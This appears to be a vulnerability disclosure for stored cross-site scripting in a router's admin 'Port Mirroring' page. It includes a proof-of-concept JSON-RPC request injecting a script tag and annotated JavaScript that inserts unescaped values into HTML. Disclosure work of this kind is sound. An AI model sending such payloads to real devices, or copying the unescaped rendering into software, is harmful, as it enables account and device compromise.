XSS attacks are possible on the advanced "Port Mirroring" page of the administrator panel.

PoC

POST /ubus HTTP/1.1
Host: 125.186.175.246
Content-Length: 180
Pragma: no-cache
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36[
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: <http://125.186.175.246>
Referer: <http://125.186.175.246/port_mirror.html>
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive

{"jsonrpc":"2.0","id":24,"method":"call","params":["3a5f2805bd7f467765a56fca1a41160b","uci","add",{"config":"diagnosis","type":"diag","values":{"server_type":"<script>alert('XSS')</script>","dst":"lan1"}}]}

The service_type field renders values without any escaping or validation, resulting in an XSS vulnerability.

image.png

image.png

The port_mirror.js file directly fetches and processes input from the service_type field.

source_options_show:function(){
    var me = this;
    $.when(me.wan_config_get("{}")).then(function(ipv4Data){
        ipv4Data = ipv4Data[1]["list"];
        var reData = [];
        for(var i=0; i<ipv4Data.length; i++){
            var tempObj = {};
            var service_type = ipv4Data[i]["service_type"];

            // [Vulnerable Point] The service_type value is directly inserted into the option tag.
            tempObj = '<option value="'+ service_type.toLowerCase() +'">'
                        + service_type.toUpperCase() +
                      '</option>';
            reData.push(tempObj);
        }
        // [Vulnerable Point] reData is ultimately injected directly into the HTML.
        $("#source_options").html(
            "<option value='all'>" + appJs["label"][0] + "</option>" + reData
        );
    });
},

In the frontend code, values are rendered without any escaping or validation, leading to an XSS vulnerability.

diagnosis_list:function(data){
    var me = this;
    var result = data.result[1].values;
    var id = 1;
    
    newResult = [];
    for(var i in result){
        result[i].id = id++;
        newResult.push(result[i]);
    }
    
    var new_data = [];
    for(var i in newResult){
        var tempObj = {};

        // [Vulnerable Point] server_type (source port) is directly stored in the output object without any modification.
        tempObj.server_type = newResult[i].server_type;
        
        tempObj.dst = newResult[i].dst;  
        
        tempObj.op = '</button><button type="button" class="delete smaller darkgray" ' +
                     'style="margin-left:0;" data-name=' + newResult[i][".name"] + '>' +
                     L.s_delete + '</button>';

        new_data.push(tempObj);
    }

    // [Vulnerable Point] new_data -> Table component -> Rendered into HTML.
    var tab = new Table("port_mirror_table", appJs["table-title"], new_data);
    tab.initTable();
},

Examples of cases that could result from this vulnerability.